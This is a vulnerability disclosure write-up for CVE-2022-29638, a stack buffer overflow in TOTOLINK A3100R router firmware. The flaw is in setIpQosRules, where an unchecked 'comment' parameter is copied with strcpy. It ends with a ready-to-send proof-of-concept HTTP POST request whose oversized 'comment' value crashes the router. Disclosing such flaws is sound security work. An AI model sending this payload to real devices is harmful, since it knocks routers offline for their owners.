Headline
CVE-2022-29638: IOT/2.md at master · shijin0925/IOT
TOTOLINK A3100R V4.1.2cu.5050_B20200504 and V4.1.2cu.5247_B20211129 were discovered to contain a stack overflow via the comment parameter in the function setIpQosRules. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted POST request.
firewall.so setIpQosRules stack buffer overflow****A3100R_Firmware
version:V4.1.2cu.5050_B20200504，V4.1.2cu.5247_B20211129
Description:
The setIpQosRules function in the firewall.so module does not filter the “comment” parameter, and a stack overflow occurs when strcpy is performed
Source:
you may download it from : https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/170/ids/36.html
Analyse:
The program reads a user inputed named “comment” in users’s POST request and uses the input immediately,without checking it’s length ,which can lead to buffer overflows bugs in the following strcpy function.
So by Posting proper data to topicurl:"setting/setIpQosRules",the attacker can easily perform a Deny of service Attack.
POC
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 363
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/firewall/qos.asp?timestamp=1649994888415
Cookie: SESSION_ID=2:1588588113:2
{"topicurl":"setting/setIpQosRules","ipStart":"192.168.0.22","ipEnd":"192.168.0.22","upBandwidth":"2222","dwBandwidth":"2222","comment":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb"}